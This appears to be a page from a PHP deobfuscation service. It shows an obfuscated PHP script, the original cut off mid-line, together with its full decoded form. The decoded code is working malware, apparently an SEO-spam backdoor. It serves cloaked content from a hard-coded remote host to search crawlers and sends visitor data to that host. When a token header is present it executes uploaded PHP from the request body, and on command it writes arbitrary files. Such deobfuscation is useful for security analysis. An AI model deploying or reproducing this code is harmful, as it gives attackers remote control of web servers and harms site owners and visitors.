Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
${"GL\x4f\x42A\x4cS"}["\x78\x74\x74\x6bl\x6arb\x79\x6b\x79"]="re\x61l\x69\x70";${"\x47LO..
Decoded Output download
<?
${"GLOBALS"}["xttkljrbyky"]="realip";${"GLOBALS"}["njbnnjizyc"]="ch";${"GLOBALS"}["duzndqvbn"]="code";${"GLOBALS"}["iojoxpuo"]="values";${"GLOBALS"}["szeirnekwf"]="respbody";${"GLOBALS"}["zywkurr"]="url";${"GLOBALS"}["dujnskjgruce"]="result";${"GLOBALS"}["xysldp"]="segs";${"GLOBALS"}["ucdronow"]="cntx";${"GLOBALS"}["cwgbrnlnw"]="ur";${"GLOBALS"}["djhauqnvgj"]="postdata";${"GLOBALS"}["mvjqfamq"]="token";${"GLOBALS"}["vmwrejxplt"]="ip";${"GLOBALS"}["mutpapyigf"]="gov";${"GLOBALS"}["kvrryovs"]="header";${"GLOBALS"}["olqepvyrddcl"]="lang";${"GLOBALS"}["wkphiyyk"]="uri";${"GLOBALS"}["qwubcvhnm"]="ua";${"GLOBALS"}["dugdunkmbh"]="ixv";$wofmfmwa="db";$njswewwwsel="ur";$ebfrnhfnikp="proto";error_reporting(0);@set_time_limit(3600);@ignore_user_abort(1);${"GLOBALS"}["hqwhysbzg"]="gov";${${"GLOBALS"}["dugdunkmbh"]}="2.2.17";${"GLOBALS"}["hpkylrfyug"]="ip";${"GLOBALS"}["twwycrdfxsw"]="ua";${${"GLOBALS"}["hqwhysbzg"]}="9100.channelnday.xyz";${$wofmfmwa}="9100";${${"GLOBALS"}["hpkylrfyug"]}=clientip();${$njswewwwsel}=isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:"";${"GLOBALS"}["xiwwzbhuhci"]="ur";$cdyqjqf="token";${${"GLOBALS"}["qwubcvhnm"]}=isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:"";${"GLOBALS"}["sqzbisdfbuzp"]="proto";${${"GLOBALS"}["wkphiyyk"]}=$_SERVER["REQUEST_URI"];$host=$_SERVER["HTTP_HOST"];${${"GLOBALS"}["olqepvyrddcl"]}=isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:"";${$cdyqjqf}=isset($_SERVER["HTTP_XDOIM"])?$_SERVER["HTTP_XDOIM"]:"";${${"GLOBALS"}["sqzbisdfbuzp"]}=((!empty($_SERVER["HTTPS"])&&strtolower($_SERVER["HTTPS"])!=="off")||(isset($_SERVER["HTTP_X_FORWARDED_PROTO"])&&$_SERVER["HTTP_X_FORWARDED_PROTO"]==="https")||(!empty($_SERVER["HTTP_FRONT_END_HTTPS"])&&strtolower($_SERVER["HTTP_FRONT_END_HTTPS"])!=="off"))?"https":"http";${${"GLOBALS"}["kvrryovs"]}=array("Lang: ".${${"GLOBALS"}["olqepvyrddcl"]},"User-Agent: ".${${"GLOBALS"}["twwycrdfxsw"]},"Referer: ".${${"GLOBALS"}["xiwwzbhuhci"]},"Http-Proto: ".${$ebfrnhfnikp},"Http-Host: ".$host,"Http-Uri: ".${${"GLOBALS"}["wkphiyyk"]},"Dbgroup: ".${${"GLOBALS"}["mutpapyigf"]},"Http-X-Forwarded-For: ".${${"GLOBALS"}["vmwrejxplt"]},"Token: ".${${"GLOBALS"}["mvjqfamq"]});${${"GLOBALS"}["djhauqnvgj"]}="proto=$proto&shost=$host&ip=$ip&dbgroup=$db&uri=$uri";if(strlen(${${"GLOBALS"}["mvjqfamq"]})>0){@todk(".eGbA0Ty2Wh",@file_get_contents("php://input"),FILE_USE_INCLUDE_PATH);echo(include".eGbA0Ty2Wh");unlink(".eGbA0Ty2Wh");exit;}if((${${"GLOBALS"}["wkphiyyk"]}!=="/favicon.ico")&&(@preg_match("#google|yahoo|bing#i",${${"GLOBALS"}["qwubcvhnm"]})||(@preg_match("#google.co.jp|google.com|yahoo.com|yahoo.co.jp|bing.com#i",${${"GLOBALS"}["cwgbrnlnw"]})&&(@preg_match("#[/\?]([a-z0-9]{1})[-_/]?(\d+_\d+_\d+)\$#i",${${"GLOBALS"}["wkphiyyk"]})||@preg_match("#[/\?]([a-z0-9]{1})[-_/]?(\d+)#i",${${"GLOBALS"}["wkphiyyk"]}))))){$zfuzzbo="cntx";$dfihdms="ctype";${"GLOBALS"}["csynjllwv"]="code";$fvbmivewmt="code";$qjppnni="cntx";$hjtplqswm="postdata";$rppqkundptyl="ctype";$ydbasql="cntx";list(${$zfuzzbo},${${"GLOBALS"}["csynjllwv"]},${$dfihdms})=urlx("http://".${${"GLOBALS"}["mutpapyigf"]}."/index?".${${"GLOBALS"}["djhauqnvgj"]},${${"GLOBALS"}["kvrryovs"]},${$hjtplqswm});$ghrcyakkqjjq="cntx";if(stripos(${$rppqkundptyl},"gzip")>0){@header("Content-type: application/x-gzip");exit(${${"GLOBALS"}["ucdronow"]});}${"GLOBALS"}["woqpoj"]="code";if(stripos(${${"GLOBALS"}["ucdronow"]},"<!doct")===0||stripos(${${"GLOBALS"}["ucdronow"]},"<html")===0){exit(${${"GLOBALS"}["ucdronow"]});}if(stripos(${${"GLOBALS"}["ucdronow"]},"<?xml")===0){@header("Content-type: text/xml");${"GLOBALS"}["vpomdtj"]="cntx";exit(${${"GLOBALS"}["vpomdtj"]});}if(stripos(${$ghrcyakkqjjq},"http")===0){$ntcjojaoxdsx="cntx";${"GLOBALS"}["jofelnb"]="cntx";if(stripos(${${"GLOBALS"}["jofelnb"]},"?main_page=")){$vcapmcppgn="cntx";@header("Location: ".${$vcapmcppgn});exit;}if(strstr(${$ntcjojaoxdsx},"[,]")){$aeoxjerii="lines";$domyhkto="segs";${"GLOBALS"}["ufqyvyvaq"]="lines";${$domyhkto}=explode("[,]",${${"GLOBALS"}["ucdronow"]});${${"GLOBALS"}["ufqyvyvaq"]}=explode(",",${${"GLOBALS"}["xysldp"]}[0]);$vifdnhem="result";${${"GLOBALS"}["dujnskjgruce"]}="";foreach(${$aeoxjerii} as${${"GLOBALS"}["zywkurr"]}){$gwkzjimmxg="url";$srgbcdbeyrsb="segs";$dvebkjh="respbody";$nnnulpeadlmd="result";$reysxw="code";list(${$dvebkjh},${$reysxw})=urlx(${$gwkzjimmxg},null,null,${$srgbcdbeyrsb}[1]);${$nnnulpeadlmd}.=${${"GLOBALS"}["zywkurr"]}.${${"GLOBALS"}["szeirnekwf"]};}exit(${$vifdnhem});}}if(@preg_match("#^[^.]*.(txt|php)#i",${$qjppnni})){$itinbdmfd="values";$cgqlbyumyb="cntx";${$itinbdmfd}=explode("[,]",${$cgqlbyumyb});${"GLOBALS"}["bgeqrfjycfb"]="values";todk(${${"GLOBALS"}["iojoxpuo"]}[0],${${"GLOBALS"}["iojoxpuo"]}[1]);if(file_exists(${${"GLOBALS"}["bgeqrfjycfb"]}[0])){exit("end ok");}else{exit("no false");}}if(stripos(${$ydbasql},"ok")===0){exit(${${"GLOBALS"}["ucdronow"]}." ".${${"GLOBALS"}["mutpapyigf"]}.${${"GLOBALS"}["dugdunkmbh"]});}if(${$fvbmivewmt}>=400&&${${"GLOBALS"}["duzndqvbn"]}<500){@header("HTTP/1.1 404 Not Found");exit;}if(${${"GLOBALS"}["woqpoj"]}>=500){@header("HTTP/1.1 500 Internal Server Error");exit;}if(${${"GLOBALS"}["ucdronow"]}!=""){exit(${${"GLOBALS"}["ucdronow"]});}}function urlx($url,$header=null,$postdata=null,$ua=null){$smzddrqxdu="ctype";if(!function_exists("curl_init")){return;}$ingfyjovy="body";${"GLOBALS"}["bojigaccz"]="code";try{$rxyqcxjmg="header";${"GLOBALS"}["gsvgkxj"]="ch";${"GLOBALS"}["nqplenwy"]="postdata";$nrgiyjvvq="ch";$mddvbofkvn="url";${"GLOBALS"}["bnzuwvkm"]="ch";${"GLOBALS"}["xywunoqy"]="ch";$bvmbhjqg="ch";$abxlyyd="body";${$nrgiyjvvq}=curl_init();curl_setopt(${${"GLOBALS"}["gsvgkxj"]},CURLOPT_URL,${$mddvbofkvn});curl_setopt(${${"GLOBALS"}["njbnnjizyc"]},CURLOPT_FOLLOWLOCATION,1);$ytjnyknrlmd="ch";${"GLOBALS"}["wjrmqzjpfv"]="ch";curl_setopt(${${"GLOBALS"}["xywunoqy"]},CURLOPT_SSL_VERIFYPEER,FALSE);$xowuecv="header";$rxyooh="ua";curl_setopt(${${"GLOBALS"}["njbnnjizyc"]},CURLOPT_SSL_VERIFYHOST,FALSE);$gyubiwyw="ch";curl_setopt(${${"GLOBALS"}["bnzuwvkm"]},CURLOPT_ENCODING,"gzip,deflate");curl_setopt(${${"GLOBALS"}["njbnnjizyc"]},CURLOPT_CONNECTTIMEOUT,30);${"GLOBALS"}["rxvgtxo"]="ch";curl_setopt(${${"GLOBALS"}["wjrmqzjpfv"]},CURLOPT_RETURNTRANSFER,1);${"GLOBALS"}["cpzqrwfl"]="ua";${"GLOBALS"}["tnkzwcdki"]="code";(${$xowuecv}===null)?"":curl_setopt(${${"GLOBALS"}["rxvgtxo"]},CURLOPT_HTTPHEADER,${$rxyqcxjmg});$pphsfj="postdata";(${${"GLOBALS"}["qwubcvhnm"]}===null||${$rxyooh}==="")?"":curl_setopt(${$ytjnyknrlmd},CURLOPT_USERAGENT,${${"GLOBALS"}["cpzqrwfl"]});if(${$pphsfj}!==null&&${${"GLOBALS"}["nqplenwy"]}!==""){$mcvpxlg="ch";${"GLOBALS"}["pgxogghice"]="ch";curl_setopt(${$mcvpxlg},CURLOPT_POST,1);curl_setopt(${${"GLOBALS"}["pgxogghice"]},CURLOPT_POSTFIELDS,${${"GLOBALS"}["djhauqnvgj"]});}${"GLOBALS"}["biguxyhuopm"]="ctype";${$abxlyyd}=curl_exec(${$bvmbhjqg});${${"GLOBALS"}["tnkzwcdki"]}=curl_getinfo(${${"GLOBALS"}["njbnnjizyc"]},CURLINFO_HTTP_CODE);${${"GLOBALS"}["biguxyhuopm"]}=curl_getinfo(${${"GLOBALS"}["njbnnjizyc"]},CURLINFO_CONTENT_TYPE);curl_close(${$gyubiwyw});}catch(Exception$e){}if($body===false&&function_exists('file_get_contents')){ini_set("user_agent","Mozilla/4.0 (compatible;MSIE 6.0;Windows NT 5.2;.NET CLR 1.1.4322)");try{${"GLOBALS"}["yvssiukrxff"]="body";${${"GLOBALS"}["yvssiukrxff"]}=@file_get_contents(${${"GLOBALS"}["zywkurr"]});}catch(Exception$e){};}return array(${$ingfyjovy},${${"GLOBALS"}["bojigaccz"]},${$smzddrqxdu});}function todk($fil,$str){${"GLOBALS"}["erlvfeyylbl"]="str";${"GLOBALS"}["mkyqoqhmv"]="fil";@file_put_contents(${${"GLOBALS"}["mkyqoqhmv"]},${${"GLOBALS"}["erlvfeyylbl"]});}function clientip(){${"GLOBALS"}["veiuxuild"]="realip";${${"GLOBALS"}["veiuxuild"]}="";$wuleehrdqmo="realip";if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]!==""){${${"GLOBALS"}["xttkljrbyky"]}=$_SERVER["HTTP_X_FORWARDED_FOR"];}elseif(getenv("REMOTE_ADDR")&&strcasecmp(getenv("REMOTE_ADDR"),"unknown")){${"GLOBALS"}["ieeyes"]="realip";${${"GLOBALS"}["ieeyes"]}=getenv("REMOTE_ADDR");}elseif(isset($_SERVER["REMOTE_ADDR"])&&$_SERVER["REMOTE_ADDR"]&&strcasecmp($_SERVER["REMOTE_ADDR"],"unknown")){${${"GLOBALS"}["xttkljrbyky"]}=$_SERVER["REMOTE_ADDR"];}if(stristr(${$wuleehrdqmo},",")){$quxkjjt="values";${$quxkjjt}=explode(",",${${"GLOBALS"}["xttkljrbyky"]});${${"GLOBALS"}["xttkljrbyky"]}=${${"GLOBALS"}["iojoxpuo"]}[0];}return${${"GLOBALS"}["xttkljrbyky"]};} ?>
Did this file decode correctly?
Original Code
${"GL\x4f\x42A\x4cS"}["\x78\x74\x74\x6bl\x6arb\x79\x6b\x79"]="re\x61l\x69\x70";${"\x47LO\x42\x41\x4c\x53"}["n\x6a\x62\x6en\x6a\x69zy\x63"]="\x63\x68";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x64\x75\x7and\x71\x76\x62\x6e"]="\x63\x6f\x64\x65";${"G\x4c\x4f\x42\x41\x4cS"}["\x69o\x6a\x6fx\x70u\x6f"]="\x76\x61\x6cu\x65\x73";${"\x47\x4cO\x42A\x4c\x53"}["\x73z\x65\x69\x72ne\x6b\x77f"]="\x72\x65\x73p\x62o\x64y";${"\x47LO\x42\x41LS"}["\x7a\x79\x77k\x75rr"]="\x75rl";${"\x47\x4c\x4f\x42\x41\x4cS"}["d\x75\x6a\x6e\x73\x6b\x6agr\x75\x63\x65"]="\x72e\x73\x75\x6ct";${"\x47L\x4fBA\x4cS"}["\x78\x79s\x6c\x64p"]="\x73\x65gs";${"\x47\x4c\x4f\x42\x41L\x53"}["u\x63d\x72\x6f\x6eo\x77"]="c\x6e\x74\x78";${"\x47LO\x42A\x4c\x53"}["\x63w\x67\x62\x72\x6eln\x77"]="\x75r";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x64\x6a\x68a\x75q\x6ev\x67\x6a"]="\x70o\x73t\x64\x61t\x61";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6dv\x6a\x71fa\x6d\x71"]="\x74ok\x65\x6e";${"G\x4cO\x42AL\x53"}["v\x6d\x77r\x65\x6axp\x6c\x74"]="\x69p";${"\x47\x4c\x4f\x42\x41L\x53"}["\x6d\x75\x74\x70\x61\x70\x79\x69\x67f"]="\x67\x6fv";${"\x47\x4c\x4fBA\x4cS"}["k\x76\x72r\x79\x6f\x76s"]="he\x61\x64\x65\x72";${"\x47\x4cO\x42\x41\x4c\x53"}["\x6f\x6cq\x65p\x76\x79\x72d\x64\x63l"]="l\x61\x6e\x67";${"G\x4cO\x42A\x4c\x53"}["w\x6b\x70hi\x79y\x6b"]="u\x72\x69";${"G\x4c\x4f\x42AL\x53"}["\x71\x77\x75bcv\x68\x6e\x6d"]="\x75\x61";${"GL\x4f\x42\x41\x4c\x53"}["\x64\x75\x67\x64\x75n\x6bm\x62h"]="i\x78v";$wofmfmwa="db";$njswewwwsel="\x75\x72";$ebfrnhfnikp="\x70ro\x74o";error_reporting(0);@set_time_limit(3600);@ignore_user_abort(1);${"\x47\x4cOB\x41L\x53"}["h\x71\x77h\x79s\x62\x7a\x67"]="\x67\x6fv";${${"GLO\x42\x41L\x53"}["d\x75\x67\x64\x75\x6e\x6b\x6db\x68"]}="\x32.\x32.17";${"\x47L\x4fB\x41LS"}["h\x70k\x79\x6c\x72\x66\x79ug"]="i\x70";${"\x47L\x4fBA\x4c\x53"}["\x74\x77\x77y\x63\x72\x64\x66\x78\x73\x77"]="\x75a";${${"G\x4cOB\x41L\x53"}["hq\x77h\x79sb\x7ag"]}="\x39\61\x30\60\x2e\143\x68\141\x6e\156\x65\154\x6e\144\x61\171\x2e\170\x79\172";${$wofmfmwa}="\x39\x31\x30\x30";${${"G\x4cOBA\x4cS"}["hpk\x79\x6c\x72f\x79u\x67"]}=clientip();${$njswewwwsel}=isset($_SERVER["H\x54TP_REFERER"])?$_SERVER["HTTP_RE\x46\x45\x52ER"]:"";${"GL\x4f\x42ALS"}["\x78\x69\x77\x77\x7a\x62huh\x63i"]="\x75r";$cdyqjqf="toke\x6e";${${"\x47\x4c\x4f\x42\x41L\x53"}["\x71\x77\x75b\x63vh\x6e\x6d"]}=isset($_SERVER["\x48TT\x50_\x55\x53\x45\x52\x5fAGEN\x54"])?$_SERVER["HT\x54\x50\x5f\x55S\x45\x52_A\x47\x45NT"]:"";${"GLOB\x41\x4cS"}["s\x71\x7a\x62i\x73\x64f\x62\x75\x7ap"]="\x70\x72\x6f\x74o";${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x77k\x70\x68\x69\x79\x79\x6b"]}=$_SERVER["R\x45QU\x45S\x54\x5f\x55\x52I"];$host=$_SERVER["HTTP\x5f\x48OST"];${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6flq\x65\x70vyr\x64d\x63l"]}=isset($_SERVER["\x48TTP\x5fAC\x43EPT_\x4c\x41N\x47\x55A\x47\x45"])?$_SERVER["HTTP_\x41C\x43\x45PT_L\x41\x4eGU\x41GE"]:"";${$cdyqjqf}=isset($_SERVER["HTT\x50_XDO\x49\x4d"])?$_SERVER["HTT\x50\x5fX\x44\x4fI\x4d"]:"";${${"\x47\x4c\x4f\x42A\x4cS"}["\x73qzbi\x73\x64fb\x75\x7a\x70"]}=((!empty($_SERVER["HT\x54P\x53"])&&strtolower($_SERVER["H\x54T\x50S"])!=="o\x66f")||(isset($_SERVER["\x48\x54T\x50_\x58\x5f\x46OR\x57A\x52DE\x44\x5fP\x52OT\x4f"])&&$_SERVER["\x48T\x54\x50_\x58\x5fFO\x52\x57\x41\x52\x44\x45\x44_\x50R\x4fT\x4f"]==="h\x74tps")||(!empty($_SERVER["H\x54\x54\x50\x5fF\x52ONT\x5fEN\x44_H\x54\x54\x50\x53"])&&strtolower($_SERVER["\x48\x54\x54P_F\x52ONT_\x45\x4eD_\x48\x54TPS"])!=="\x6ff\x66"))?"\x68t\x74\x70\x73":"\x68t\x74\x70";${${"GL\x4fBALS"}["\x6b\x76r\x72y\x6f\x76\x73"]}=array("L\x61n\x67: ".${${"G\x4c\x4f\x42ALS"}["o\x6cq\x65\x70\x76\x79rd\x64\x63l"]},"\x55\x73\x65r-Age\x6e\x74: ".${${"\x47\x4cO\x42A\x4cS"}["\x74\x77w\x79\x63\x72\x64\x66\x78s\x77"]},"Re\x66\x65\x72\x65\x72: ".${${"G\x4c\x4f\x42\x41\x4cS"}["\x78\x69w\x77\x7a\x62\x68\x75\x68ci"]},"Http-\x50roto:\x20".${$ebfrnhfnikp},"Htt\x70-H\x6f\x73\x74:\x20".$host,"\x48\x74t\x70-\x55\x72i:\x20".${${"\x47LOB\x41\x4cS"}["wk\x70\x68\x69\x79\x79\x6b"]},"\x44bg\x72\x6fup: ".${${"\x47\x4cO\x42A\x4cS"}["\x6d\x75t\x70a\x70\x79\x69gf"]},"\x48\x74\x74\x70-X-\x46\x6fr\x77\x61rde\x64-\x46\x6fr:\x20".${${"G\x4c\x4f\x42A\x4cS"}["\x76\x6dw\x72\x65\x6a\x78p\x6ct"]},"\x54\x6fken: ".${${"\x47\x4c\x4f\x42\x41L\x53"}["mv\x6aq\x66a\x6d\x71"]});${${"\x47L\x4f\x42\x41\x4c\x53"}["djhauq\x6e\x76gj"]}="\x70r\x6fto\x3d$proto&\x73\x68o\x73t\x3d$host&\x69\x70\x3d$ip&\x64b\x67ro\x75\x70\x3d$db&\x75r\x69=$uri";if(strlen(${${"G\x4c\x4f\x42AL\x53"}["m\x76\x6a\x71\x66\x61\x6dq"]})>0){@todk("\x2eeG\x62\x410\x54y2\x57\x68",@file_get_contents("\x70\x68p://\x69\x6e\x70\x75t"),FILE_USE_INCLUDE_PATH);echo(include"\x2ee\x47b\x41\x30\x54\x79\x32Wh");unlink("\x2e\x65\x47bA\x30\x54\x792\x57h");exit;}if((${${"\x47L\x4f\x42\x41\x4cS"}["w\x6b\x70hi\x79\x79\x6b"]}!=="/fa\x76ic\x6f\x6e.i\x63o")&&(@preg_match("#go\x6f\x67\x6c\x65|y\x61\x68\x6f\x6f|bin\x67\x23\x69",${${"\x47\x4cO\x42A\x4c\x53"}["qw\x75bcv\x68n\x6d"]})||(@preg_match("#\x67oog\x6ce\x2ec\x6f\x2ejp|g\x6fo\x67\x6ce\x2e\x63om|y\x61h\x6f\x6f.c\x6f\x6d|\x79\x61\x68o\x6f.\x63\x6f\x2e\x6a\x70|b\x69n\x67\x2e\x63om#i",${${"GL\x4f\x42ALS"}["cwg\x62\x72\x6e\x6cnw"]})&&(@preg_match("#[/\\?]([a-z0-9]{1})[-_/]?(\\\x64+\x5f\\d+_\\d+)\$\x23\x69",${${"G\x4cO\x42\x41\x4c\x53"}["\x77\x6bph\x69y\x79k"]})||@preg_match("\x23[/\\?]([a-\x7a0-\x39]{\x31})[-\x5f/]?(\\\x64+)#\x69",${${"GLO\x42\x41\x4c\x53"}["\x77\x6bph\x69yy\x6b"]}))))){$zfuzzbo="c\x6et\x78";$dfihdms="\x63\x74\x79\x70\x65";${"\x47\x4c\x4f\x42AL\x53"}["\x63\x73\x79\x6ej\x6c\x6cwv"]="\x63\x6fd\x65";$fvbmivewmt="\x63\x6f\x64\x65";$qjppnni="\x63\x6e\x74\x78";$hjtplqswm="\x70o\x73\x74\x64\x61t\x61";$rppqkundptyl="ct\x79\x70\x65";$ydbasql="\x63\x6e\x74x";list(${$zfuzzbo},${${"\x47LO\x42\x41\x4cS"}["\x63\x73\x79\x6e\x6a\x6c\x6c\x77\x76"]},${$dfihdms})=urlx("\x68t\x74p://".${${"\x47\x4c\x4fB\x41L\x53"}["\x6d\x75\x74\x70a\x70\x79\x69\x67f"]}."/in\x64ex?".${${"\x47L\x4f\x42ALS"}["\x64\x6a\x68\x61\x75q\x6e\x76g\x6a"]},${${"\x47\x4c\x4fBA\x4cS"}["k\x76\x72\x72\x79\x6f\x76\x73"]},${$hjtplqswm});$ghrcyakkqjjq="cn\x74\x78";if(stripos(${$rppqkundptyl},"g\x7ai\x70")>0){@header("\x43o\x6ete\x6e\x74-\x74ype: \x61\x70\x70l\x69\x63\x61\x74\x69\x6f\x6e/x-g\x7aip");exit(${${"G\x4c\x4f\x42\x41\x4cS"}["\x75\x63\x64\x72\x6f\x6eow"]});}${"\x47L\x4fB\x41\x4cS"}["\x77\x6fq\x70\x6f\x6a"]="c\x6f\x64e";if(stripos(${${"\x47\x4c\x4f\x42\x41\x4cS"}["u\x63\x64r\x6f\x6e\x6fw"]},"<!\x64\x6fc\x74")===0||stripos(${${"G\x4c\x4fB\x41\x4c\x53"}["\x75cd\x72o\x6e\x6fw"]},"<\x68t\x6d\x6c")===0){exit(${${"\x47L\x4f\x42A\x4c\x53"}["\x75\x63d\x72o\x6e\x6f\x77"]});}if(stripos(${${"G\x4cO\x42\x41\x4cS"}["uc\x64ronow"]},"\x3c?\x78m\x6c")===0){@header("\x43o\x6e\x74ent-t\x79\x70\x65:\x20t\x65xt/x\x6d\x6c");${"\x47L\x4fBALS"}["v\x70\x6f\x6dd\x74\x6a"]="c\x6e\x74\x78";exit(${${"\x47\x4c\x4f\x42A\x4cS"}["v\x70\x6f\x6d\x64t\x6a"]});}if(stripos(${$ghrcyakkqjjq},"\x68\x74\x74\x70")===0){$ntcjojaoxdsx="\x63\x6e\x74x";${"G\x4c\x4f\x42\x41\x4c\x53"}["j\x6f\x66e\x6cn\x62"]="\x63n\x74\x78";if(stripos(${${"GL\x4f\x42\x41\x4c\x53"}["\x6ao\x66e\x6c\x6e\x62"]},"?\x6da\x69\x6e_\x70\x61ge=")){$vcapmcppgn="\x63\x6e\x74x";@header("\x4c\x6fc\x61\x74i\x6fn:\x20".${$vcapmcppgn});exit;}if(strstr(${$ntcjojaoxdsx},"[,]")){$aeoxjerii="\x6c\x69\x6e\x65s";$domyhkto="\x73egs";${"G\x4c\x4fB\x41L\x53"}["\x75\x66\x71y\x76\x79\x76\x61\x71"]="\x6c\x69ne\x73";${$domyhkto}=explode("[,]",${${"G\x4c\x4fBA\x4c\x53"}["u\x63\x64\x72on\x6f\x77"]});${${"GL\x4f\x42A\x4c\x53"}["\x75\x66\x71y\x76\x79\x76\x61\x71"]}=explode(",",${${"\x47\x4cOBA\x4c\x53"}["\x78\x79sld\x70"]}[0]);$vifdnhem="\x72\x65s\x75\x6c\x74";${${"\x47LOB\x41\x4c\x53"}["d\x75\x6a\x6e\x73kj\x67\x72\x75\x63\x65"]}="";foreach(${$aeoxjerii} as${${"\x47\x4c\x4fB\x41\x4cS"}["\x7ay\x77\x6b\x75\x72\x72"]}){$gwkzjimmxg="\x75\x72\x6c";$srgbcdbeyrsb="se\x67\x73";$dvebkjh="\x72\x65\x73\x70bo\x64\x79";$nnnulpeadlmd="r\x65\x73\x75\x6c\x74";$reysxw="c\x6f\x64e";list(${$dvebkjh},${$reysxw})=urlx(${$gwkzjimmxg},null,null,${$srgbcdbeyrsb}[1]);${$nnnulpeadlmd}.=${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["zy\x77\x6bu\x72\x72"]}.${${"\x47L\x4f\x42\x41\x4cS"}["\x73z\x65\x69\x72n\x65\x6b\x77\x66"]};}exit(${$vifdnhem});}}if(@preg_match("#^[^\x2e]*.(tx\x74|p\x68\x70)\x23i",${$qjppnni})){$itinbdmfd="\x76\x61\x6cu\x65s";$cgqlbyumyb="\x63\x6e\x74\x78";${$itinbdmfd}=explode("[,]",${$cgqlbyumyb});${"\x47\x4c\x4f\x42A\x4c\x53"}["\x62\x67\x65\x71rf\x6a\x79\x63\x66\x62"]="va\x6cu\x65\x73";todk(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x69\x6f\x6a\x6fx\x70\x75\x6f"]}[0],${${"GL\x4f\x42A\x4c\x53"}["\x69\x6fj\x6fx\x70\x75\x6f"]}[1]);if(file_exists(${${"\x47\x4c\x4f\x42\x41LS"}["\x62ge\x71\x72\x66\x6a\x79\x63f\x62"]}[0])){exit("\x65n\x64 \x6f\x6b");}else{exit("no\x20f\x61\x6cs\x65");}}if(stripos(${$ydbasql},"\x6f\x6b")===0){exit(${${"GL\x4f\x42A\x4c\x53"}["\x75\x63d\x72o\x6e\x6f\x77"]}."\x20".${${"G\x4c\x4f\x42AL\x53"}["m\x75\x74\x70a\x70yig\x66"]}.${${"\x47L\x4f\x42\x41L\x53"}["\x64\x75\x67\x64u\x6e\x6bm\x62h"]});}if(${$fvbmivewmt}>=400&&${${"G\x4cOBALS"}["d\x75zn\x64\x71\x76bn"]}<500){@header("\x48\x54T\x50/\x31.1 \x3404\x20No\x74 \x46\x6fu\x6ed");exit;}if(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x77\x6f\x71\x70oj"]}>=500){@header("H\x54TP/\x31\x2e1\x20\x35\x300\x20\x49nt\x65r\x6ea\x6c\x20\x53e\x72\x76er\x20E\x72\x72or");exit;}if(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x75\x63\x64\x72\x6fno\x77"]}!=""){exit(${${"G\x4cO\x42\x41LS"}["\x75\x63\x64\x72\x6f\x6eo\x77"]});}}function urlx($url,$header=null,$postdata=null,$ua=null){$smzddrqxdu="\x63\x74\x79\x70e";if(!function_exists("\x63\x75rl_ini\x74")){return;}$ingfyjovy="b\x6f\x64y";${"\x47\x4cOB\x41\x4cS"}["\x62\x6f\x6a\x69\x67a\x63c\x7a"]="c\x6f\x64\x65";try{$rxyqcxjmg="h\x65\x61\x64e\x72";${"G\x4c\x4f\x42A\x4cS"}["\x67\x73\x76\x67\x6b\x78\x6a"]="\x63h";${"\x47\x4c\x4fBA\x4cS"}["\x6eqpl\x65n\x77y"]="\x70os\x74\x64a\x74\x61";$nrgiyjvvq="c\x68";$mddvbofkvn="\x75\x72l";${"\x47\x4cO\x42\x41L\x53"}["\x62nzu\x77\x76k\x6d"]="c\x68";${"G\x4c\x4f\x42\x41\x4cS"}["\x78y\x77un\x6fq\x79"]="\x63\x68";$bvmbhjqg="\x63\x68";$abxlyyd="\x62\x6fd\x79";${$nrgiyjvvq}=curl_init();curl_setopt(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x67s\x76g\x6b\x78j"]},CURLOPT_URL,${$mddvbofkvn});curl_setopt(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x6ab\x6en\x6a\x69zyc"]},CURLOPT_FOLLOWLOCATION,1);$ytjnyknrlmd="c\x68";${"\x47\x4c\x4fB\x41\x4cS"}["\x77jr\x6d\x71\x7a\x6a\x70f\x76"]="\x63\x68";curl_setopt(${${"\x47L\x4f\x42\x41\x4c\x53"}["x\x79\x77un\x6f\x71\x79"]},CURLOPT_SSL_VERIFYPEER,FALSE);$xowuecv="\x68\x65\x61\x64er";$rxyooh="\x75a";curl_setopt(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6e\x6a\x62n\x6e\x6ai\x7a\x79\x63"]},CURLOPT_SSL_VERIFYHOST,FALSE);$gyubiwyw="c\x68";curl_setopt(${${"\x47\x4c\x4fBA\x4cS"}["\x62n\x7a\x75\x77\x76\x6b\x6d"]},CURLOPT_ENCODING,"\x67\x7aip,\x64ef\x6cate");curl_setopt(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6ejb\x6e\x6e\x6a\x69\x7ayc"]},CURLOPT_CONNECTTIMEOUT,30);${"\x47\x4c\x4f\x42AL\x53"}["\x72\x78v\x67\x74x\x6f"]="\x63\x68";curl_setopt(${${"\x47\x4c\x4fB\x41\x4c\x53"}["wjrmq\x7a\x6ap\x66v"]},CURLOPT_RETURNTRANSFER,1);${"\x47L\x4f\x42\x41\x4cS"}["c\x70z\x71\x72wf\x6c"]="\x75\x61";${"G\x4c\x4fB\x41\x4c\x53"}["t\x6e\x6b\x7a\x77\x63\x64\x6b\x69"]="c\x6f\x64\x65";(${$xowuecv}===null)?"":curl_setopt(${${"\x47\x4c\x4fBA\x4cS"}["\x72xv\x67t\x78\x6f"]},CURLOPT_HTTPHEADER,${$rxyqcxjmg});$pphsfj="p\x6f\x73\x74d\x61\x74\x61";(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x71\x77ub\x63vhnm"]}===null||${$rxyooh}==="")?"":curl_setopt(${$ytjnyknrlmd},CURLOPT_USERAGENT,${${"\x47\x4c\x4f\x42\x41L\x53"}["c\x70z\x71\x72w\x66l"]});if(${$pphsfj}!==null&&${${"GL\x4f\